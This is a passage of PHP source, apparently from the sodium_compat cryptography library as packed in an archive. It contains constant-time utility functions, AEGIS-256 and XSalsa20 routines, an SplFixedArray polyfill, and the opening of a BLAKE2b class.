{
    const U32_MAX = 0xFFFFFFFF;

    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     * @throws SodiumException
     */
    public static function andStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }
        $len = self::strlen($a);
        if (self::strlen($b) !== $len) {
            throw new SodiumException('Both strings must be of equal length to combine with bitwise AND');
        }
        return $a & $b;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here, because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT);
        } elseif ($leftLen !== $rightLen) {
            throw new SodiumException("Argument #1 and argument #2 must have the same length");
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double', 'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Catch hash_update() failures and throw instead of silently proceeding
     *
     * @param HashContext|resource &$hs
     * @param string $data
     * @return void
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument
     */
    protected static function hash_update(&$hs, $data)
    {
        if (!hash_update($hs, $data)) {
            throw new SodiumException('hash_update() failed');
        }
    }

    /**
     * Convert a hexadecimal string into a binary string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param string $ignore
     * @param bool $strictPadding
     * @return string (raw binary)
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $ignore = '', $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.');
        }
        if (!is_string($ignore)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.');
        }

        $hex_pos = 0;
        $bin = '';
        $c_acc = 0;
        $hex_len = self::strlen($hexString);
        $state = 0;

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            $c_num = $c ^ 48;
            $c_num0 = ($c_num - 10) >> 8;
            $c_alpha = ($c & ~32) - 55;
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) {
                    continue;
                }
                throw new RangeException(
                    'hex2bin() only expects hexadecimal characters'
                );
            }
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        if ($strictPadding && $state !== 0) {
            throw new SodiumException(
                'Expected an even number of hexadecimal characters'
            );
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) $unpacked[1];
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        $e = (int) !self::hashEquals($left, $right);
        return 0 - $e;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }
        $c = (int) @($c & -1);

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above would
         * have produced a negative integer to begin with. But a negative $b
         * makes $b >>= 1 never return 0, so we would end up with incorrect
         * results.
         *
         * The end result is what we'd expect from integer multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that represent
     * a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        if (PHP_INT_SIZE === 4) {
            $low = (int) $num;
        } else {
            $low = $num & 0xffffffff;
        }

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length, '8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if ($sub !== '') {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant
     * (for nuisance-free PHP 8 support)
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            if (!defined('MB_OVERLOAD_STRING')) {
                $mbstring = false;
                return $mbstring;
            }
            $mbstring = extension_loaded('mbstring')
                && defined('MB_OVERLOAD_STRING')
                &&
            ((int) (ini_get('mbstring.func_overload')) & 2);
            // MB_OVERLOAD_STRING === 2
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}
Core/AEGIS256.php000064400000007016152222652550007244 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS256 extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);

        // ad_blocks = Split(ZeroPad(ad, 128), 128)
        $ad_blocks = (self::strlen($ad) + 15) >> 4;
        // for ai in ad_blocks:
        //     Absorb(ai)
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 15;
        $ct_blocks = self::strlen($ct) >> 4;
        // ct_blocks = Split(ZeroPad(ct, 128), 128)
        // cn = Tail(ct, |ct| mod 128)
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 4, 16));
        }
        // if cn is not empty:
        //   msg = msg || DecPartial(cn)
        if ($cn) {
            $start = $ct_blocks << 4;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 15) >> 4;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $ct = '';
        $msg_blocks = ($msg_len + 15) >> 4;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 4, 16);
            if (self::strlen($xi) < 16) {
                $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );

    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State256
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce);
    }
}
Core/XSalsa20.php000064400000002533152222652550007513 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
PHP52/SplFixedArray.php000064400000011456152222652550010605 0ustar00<?php

if (class_exists('SplFixedArray')) {
    return;
}

/**
 * The SplFixedArray class provides the main functionalities of array. The
 * main differences between a SplFixedArray and a normal PHP array is that
 * the SplFixedArray is of fixed length and allows only integers within
 * the range as indexes. The advantage is that it allows a faster array
 * implementation.
 */
class SplFixedArray implements Iterator, ArrayAccess, Countable
{
    /** @var array<int, mixed> */
    private $internalArray = array();

    /** @var int $size */
    private $size = 0;

    /**
     * SplFixedArray constructor.
     * @param int $size
     */
    public function __construct($size = 0)
    {
        $this->size = $size;
        $this->internalArray = array();
    }

    /**
     * @return int
     */
    #[\ReturnTypeWillChange]
    public function count()
    {
        return count($this->internalArray);
    }

    /**
     * @return array
     */
    public function toArray()
    {
        ksort($this->internalArray);
        return (array) $this->internalArray;
    }

    /**
     * @param array $array
     * @param bool $save_indexes
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function fromArray(array $array, $save_indexes = true)
    {
        $self = new SplFixedArray(count($array));
        if($save_indexes) {
            foreach($array as $key => $value) {
                $self[(int) $key] = $value;
            }
        } else {
            $i = 0;
            foreach (array_values($array) as $value) {
                $self[$i] = $value;
                $i++;
            }
        }
        return $self;
    }

    /**
     * @return int
     */
    #[\ReturnTypeWillChange]
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @param int $size
     * @return bool
     */
    #[\ReturnTypeWillChange]
    public function setSize($size)
    {
        $this->size = $size;
        return true;
    }

    /**
     * @param string|int $index
     * @return bool
     */
    #[\ReturnTypeWillChange]
    public function offsetExists($index)
    {
        return array_key_exists((int) $index, $this->internalArray);
    }

    /**
     * @param string|int $index
     * @return mixed
     */
    #[\ReturnTypeWillChange]
    public function offsetGet($index)
    {
        /** @psalm-suppress MixedReturnStatement */
        return $this->internalArray[(int) $index];
    }

    /**
     * @param string|int $index
     * @param mixed $newval
     * @psalm-suppress MixedAssignment
     */
    #[\ReturnTypeWillChange]
    public function offsetSet($index, $newval)
    {
        $this->internalArray[(int) $index] = $newval;
    }

    /**
     * @param string|int $index
     */
    #[\ReturnTypeWillChange]
    public function offsetUnset($index)
    {
        unset($this->internalArray[(int) $index]);
    }

    /**
     * Rewind iterator back to the start
     * @link https://php.net/manual/en/splfixedarray.rewind.php
     * @return void
     * @since 5.3.0
     */
    #[\ReturnTypeWillChange]
    public function rewind()
    {
        reset($this->internalArray);
    }

    /**
     * Return current array entry
     * @link https://php.net/manual/en/splfixedarray.current.php
     * @return mixed The current element value.
     * @since 5.3.0
     */
    #[\ReturnTypeWillChange]
    public function current()
    {
        /** @psalm-suppress MixedReturnStatement */
        return current($this->internalArray);
    }

    /**
     * Return current array index
     * @return int The current array index.
     */
    #[\ReturnTypeWillChange]
    public function key()
    {
        return key($this->internalArray);
    }

    /**
     * @return void
     */
    #[\ReturnTypeWillChange]
    public function next()
    {
        next($this->internalArray);
    }

    /**
     * Check whether the array contains more elements
     * @link https://php.net/manual/en/splfixedarray.valid.php
     * @return bool true if the array contains any more elements, false otherwise.
     */
    #[\ReturnTypeWillChange]
    public function valid()
    {
        if (empty($this->internalArray)) {
            return false;
        }
        $result = next($this->internalArray) !== false;
        prev($this->internalArray);
        return $result;
    }

    public function __sleep()
    {
        return $this->internalArray;
    }

    /**
     * Do nothing.
     */
    public function __wakeup()
    {
        // NOP
    }

    public function __serialize()
    {
        return array_values($this->internalArray);
    }

    public function __unserialize(array $data)
    {
        $length = count($data);
        $values = array_values($data);
        for ($i = 0; $i < $length; ++$i) {
            $this->internalArray[$i] = $values[$i];
        }
        $this->size = $length;
    }
}
PHP52/.htaccess000064400000000000152222652550007134 0ustar00SodiumException.php000064400000000236152222652550010403 0ustar00<?php

if (!class_exists('SodiumException', false)) {
    /**
     * Class SodiumException
     */
    class SodiumException extends Exception
    {

    }
}
Core32/BLAKE2b.php000064400000053464152222652550007376 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    public static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    public static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
